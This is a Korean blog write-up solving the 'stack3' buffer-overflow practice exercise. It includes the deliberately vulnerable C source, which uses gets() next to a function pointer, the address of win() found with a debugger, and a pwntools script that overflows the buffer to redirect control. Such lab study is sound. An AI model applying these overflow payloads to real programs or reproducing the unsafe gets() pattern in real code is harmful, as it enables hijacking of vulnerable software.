stack3는 함수 포인터를 덮어서 흐름 제어를 바꾸는 BOF 문제이다.
win() 함수를 호출하도록 함수 포인터를 조작해야 한다.
코드 분석
// 함수 포인터에 대해서 공부하고 함수 포인터의 값을 덮어씌워 원하는 함수를 호출하도록 해보자.
#include <stdlib.h> // #include는 이미 정의된 함수들이 있는 라이브러리를 가져와 쓴다.
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win(){ // win 함수를 정의
printf("code flow successfully changed\n");
}
int main(int argc, char **argv){ // main 함수는 프로그램을 실행했을 때 실행되는 함수.
volatile int (*fp)(); // 함수 포인터. 특정한 함수의 주소를 가리키고 있는 변수
char buffer[64]; // 64 바이트 공간을 가지는 변수.
fp = 0; // fp(함수포인터)에 0이라는 주소를 넣음.
gets(buffer); // buffer에 우리가 입력한 값을 저장.
if(fp){ // fp가 0인지 0이 아닌지를 확인.
// fp가 0이 아니라면
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp(); // fp에 담겨져 있는 주소를 실행. (주소의 함수를 실행.)
}
// fp가 0이라면 프로그램 종료.
}
익스플로잇
즉, win() 함수의 주소를 알아내서 뒤에 넣으면 실행이 될 것이라는 것을 알 수 있다.
그렇다면, win() 함수의 주소는 어떻게 알 수 있을까?
디버깅(debugging) 하면 된다!
디버거 프로그램을 설치해서 stack3 프로그램을 디버깅해서 win() 주소를 알아냈다.
=> 똑같이 실행이 된다.
=> win 함수 주소를 출력하였다.
=> main 함수의 주소를 출력하였다.
0x8048424
지금 풀고 있는 문제들은 32 bit 기반이기 때문에 모든 주소가 4바이트 16진수 8자리이다.
=> 0x08048424
=> 성공!!
파이썬 자동 스크립트 파일로 익스플로잇
stack3.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import * # pwn은 pwnable tools 라이브러리를 가져오겠다.
p = process('./stack3') # process 함수는 특정 파일을 실행하겠다. 그라고 그 프로그램을 p에 넣겠다.
win_addr = p32(0x08048424) # p32(0x08048424) → '\x24\x84\x04\x08'
payload = 'A' * 64 + win_addr # 'A' * 64 + '\x24\x84\x04\x08'
p.sendline(payload) # payload를 프로그램에 입력하겠다.
print(p.recvrepeat(1)) # 1초 동안 프로그램이 출력하는 문자열을 가져오겠다. 이걸 출력하겠다.
가상환경에서 pwntools 설치하기 & stack3.py 실행
python3 -m venv ~/myenv
source ~/myenv/bin/activate
pip3 install pwntools
python3 stack3.py
이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.
모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.
'시스템 해킹 & 보안' 카테고리의 다른 글
Stack Buffer Overflow(BOF) - stack5 문제 해결 (1) | 2025.07.14 |
---|---|
Stack Buffer Overflow(BOF) - stack4 문제 해결 (3) | 2025.07.06 |
Stack Buffer Overflow(BOF) - stack2 문제 해결 (0) | 2025.07.06 |
Stack Buffer Overflow(BOF) - stack1 문제 해결 (0) | 2025.07.06 |
Stack Buffer Overflow(BOF) - stack0 문제 해결 (0) | 2025.07.06 |